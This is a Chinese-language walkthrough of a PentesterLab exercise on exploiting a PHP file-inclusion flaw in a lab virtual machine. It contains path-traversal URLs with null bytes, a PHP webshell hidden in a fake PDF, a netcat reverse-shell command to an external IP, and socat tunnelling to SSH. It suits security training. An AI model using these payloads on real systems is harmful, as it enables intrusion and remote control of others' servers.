本文是Pentester Lab上的PHP Include And Post Exploitation实验。实验中使用了靶机(提供的ISO),以及一台云主机(用于实现反向shell)。
一、简介
大致步骤如下:
1. 指纹识别
2. 检测和利用PHP文件包含漏洞
3. 后期利用
二、指纹识别
- telnet, nc, …
- Nikto
三、检测并利用PHP文件包含漏洞
3.1 PHP文件包含漏洞简介
- 典型的PHP文件包含漏洞
<?php
include("header.php");
include($_GET["page"]);
?>
- 有两种PHP文件包含漏洞
- 本地文件包含漏洞
- 远程文件包含漏洞
3.2 检测PHP文件包含漏洞
- 最简单的测试方法是使用会产生错误的路径。
先尝试一个不存在的文件:
http://phpinclude/index.php?page=pentesterlab123randomvalue
产生以下错误信息
Warning: include(pentesterlab123randomvalue.php): failed to open stream: No such file or directory in /var/www/index.php on line 28 Warning: include(): Failed opening 'pentesterlab123randomvalue.php' for inclusion (include_path='.:') in /var/www/index.php on line 28
其中
Failed opening 'pentesterlab123randomvalue.php' for inclusion
泄露了重要的信息:Server的PHP代码会添加.php
后缀。
- 可以使用NULL比特(
%00
)来摆脱.php
后缀。 - Web Server的用户很可能没有访问
/etc/shadow
的权限,所以如果访问/etc/shadow
就会产生错误。使用下面的URL:
http://phpinclude/index.php?page=../../../../../etc/shadow%00
可以得到错误信息:
Warning: include(/etc/shadow): failed to open stream: Permission denied in /var/www/index.php on line 28 Warning: include(): Failed opening '../../../../../etc/shadow' for inclusion (include_path='.:') in /var/www/index.php on line 28
- 用
4
中的方法访问/etc/passwd
,可以得到该文件内容:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
使用
page[]=login
会产生下面的错误:Warning: include(Array.php): failed to open stream: No such file or directory in /var/www/index.php on line 28 Warning: include(): Failed opening 'Array.php' for inclusion (include_path='.:') in /var/www/index.php on line 28
使用
classes/../login
,./login
,login
匹配同名的文件。classes/../login
如果classes
库不存在,Windows和Linux/Unix的处理是不同的。
- 测试远程文件包含需要满足两个条件:
- PHP设置允许远程文件包含
- Web Server可以访问远程Server
- 使用
http://vulnerable/index.php?page=http://www.google.com/?
测试远程文件包含,发现PHP设置禁止远程文件包含。
四、利用PHP本地文件包含漏洞
同SQL注入(盲注和非盲注)一样,可以先尝试远程文件包含漏洞,如果不行,再尝试本地文件包含漏洞。
- 远程文件包含漏洞的利用
- 需要设置一个远程的Web Server来提供PHP代码,PHP代码可以是简单的webshell:
php
<?php
system($_GET["cmd"]);
?>
- 需要设置一个远程的Web Server来提供PHP代码,PHP代码可以是简单的webshell:
本地文件包含漏洞的利用
- 有很多种方法,但共同点是:
- 将PHP代码放入系统的文件中
- include代码
- 可以使用的方法如下:
- 将PHP代码注入到日志中:通过Web服务器访问指定的URL(该路径包含PHP代码),并include服务器日志。
- 将PHP代码注入到邮件:发送一封邮件,然后include这封邮件(
/var/spool/mail
)。 - 上传并include一个文件:例如,可以上传一张图片,将PHP代码放在图片的comment section(这样在文件尺寸被修改时,代码不会被修改)。
- 使用其他服务将PHP代码上传:FTP,NFS等。
不是万不得已,不要注入日志。如果第一次尝试的时候,没有使用正确的PHP语法(正确的PHP代码和正确的HTTP编码),那么就必须等待日志滚动,才能进行下一次尝试。
- 为了测试上传功能,需要确认:
- 哪些后缀名可以上传
- 将PDF重命名为php文件
- 什么类型的内容可以上传
- 将txt文件改为pdf后缀
- 哪些后缀名可以上传
- 如果Server既检查后缀名,又检查文件类型,那么我们需要一个真正的PDF文档,其中包含有PHP代码。有两种方法:
- 任意的PDF文档,加入PHP payload
- 某些字符在include时不能被很好地支持
- 使用一个类似于PDF的PHP文件,可以通过内容类型的检查
- 这种方法较为可靠
- 任意的PDF文档,加入PHP payload
验证伪造的PHP文件是否能通过文件内容类型检验
- 使用head命令查看PDF文件的第一行
- PHP的
mime_content_type
函数,使用文件第一行%PDF-1.4
来确定文件类型是否为PDF。 - 制作伪造的PDF文件
%PDF-1.4 <?php system($_GET["cmd"]); php>
上传伪造的php文件
lfi.pdf
- 命令执行:
http://vulnerable/index.php?page=uploads/lfi.pdf%00&cmd=uname
- 文件名的后面要加上NULL字节
%00
- cmd参数是将要执行的命令
- 文件名的后面要加上NULL字节
- 有很多种方法,但共同点是:
四、Post-Exploitation
4.1 Introduction to Post-Exploitation
Webshell的每一条命令具有独立的上下文,所以难以使用cd ..
的命令。为了绕过这种限制,需要得到一个**真正的**shell。
4.2 Shell与反向Shell
- 两种远程执行命令的方法:
- Shell
- 反向Shell
- 由于防火墙更多的是过滤入站流量,所以在目标主机绑定Shell不太可行,所以反向Shell是更好的选择。
- 使用反向shell,双方主机都要安装有netcat。
- 过程
- 本机绑定nc到某端口:
nc -lvp 2233
- 目标主机使用webshell连接到本机
- 本机绑定nc到某端口:
http://phpinclude/index.php?page=uploads/lfi.pdf%00&cmd=/bin/nc%20123.206.7.107%202233%20-e%20/bin/bash
4.3 使用socat进行TCP重定向
下一步的目标是有一个真正的shell(例如,支持Ctrl+C)。
- 攻击者本地生成SSH密钥对
ssh-keygen -P "" -f phpinclude
攻击者上传SSH公钥
- 使用80端口的反向shell上传公钥。先获取用户名id和主目录:
- 使用80端口的反向shell上传公钥。先获取用户名id和主目录:
攻击者使用本地443端口接收来自目标主机的流量,并转发到本地2222端口
attacker $ sudo nohup socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr >> ~/socat.log 2>&1 &
- 使用靶机的反向shell,连接到攻击者的443端口,并把流量转发到靶机本地的22端口。
phpinclude $ while true; do socat TCP4:XXX.XXX.XXX.XXX:443 TCP4:127.0.0.1:22 ; done
- 使用ssh登录到靶机~
4.4 DNS隧道
【留待补充】
五、总结
这个练习展示了如何手工检测和利用一个PHP文件包含漏洞,进而执行代码。执行代码后,可以进一步获取更多信息,从而得到更多的系统访问权。
练习中的Web Server可以展示错误信息,这是一种理想情况。想要提高难度的话,可以更改PHP设置:在PHP设置(/etc/php5/apache2/php.ini
)中禁用display_errors
选项,并重启Web Server(sudo /etc/init.d/apache2 restart
)。